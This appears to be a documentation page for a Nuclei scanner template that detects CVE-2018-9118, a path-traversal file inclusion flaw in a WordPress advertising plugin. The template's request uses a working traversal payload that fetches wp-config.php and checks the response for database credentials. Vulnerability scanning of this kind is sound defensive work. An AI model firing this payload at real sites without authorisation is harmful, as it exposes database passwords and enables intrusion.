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WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion

ID: CVE-2018-9118

Severity: high

Author: 0x_Akoko

Tags: cve2018,cve,edb,wordpress,wp-plugin,lfi,traversal,wp,99robots

Description

Section titled “Description”

WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.

YAML Source

Section titled “YAML Source”
id: CVE-2018-9118


info:
  name: WordPress 99 Robots WP Background Takeover Advertisements <=4.1.4 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    WordPress 99 Robots WP Background Takeover Advertisements 4.1.4 is susceptible to local file inclusion via exports/download.php.
  impact: |
    This vulnerability can lead to unauthorized access to sensitive files on the server, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade to 4.1.15.
  reference:
    - https://www.exploit-db.com/exploits/44417
    - https://wpvulndb.com/vulnerabilities/9056
    - https://99robots.com/docs/wp-background-takeover-advertisements/
    - https://nvd.nist.gov/vuln/detail/CVE-2018-9118
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-9118
    cwe-id: CWE-22
    epss-score: 0.07018
    epss-percentile: 0.93949
    cpe: cpe:2.3:a:99robots:wp_background_takeover_advertisements:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: 99robots
    product: wp_background_takeover_advertisements
    framework: wordpress
  tags: cve2018,cve,edb,wordpress,wp-plugin,lfi,traversal,wp,99robots


http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
          - "DB_HOST"
          - "The base configurations of the WordPress"
        condition: and
# digest: 490a00463044022014446ab9d882471c8ca3a511976ae8ff9875b3510ce8a6e8873a10a16d7d6d49022053d3bc7b06ed3457a63c6495a0af9b35b4c6050ffee46d76a3d324230e531e88:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2018/CVE-2018-9118.yaml"

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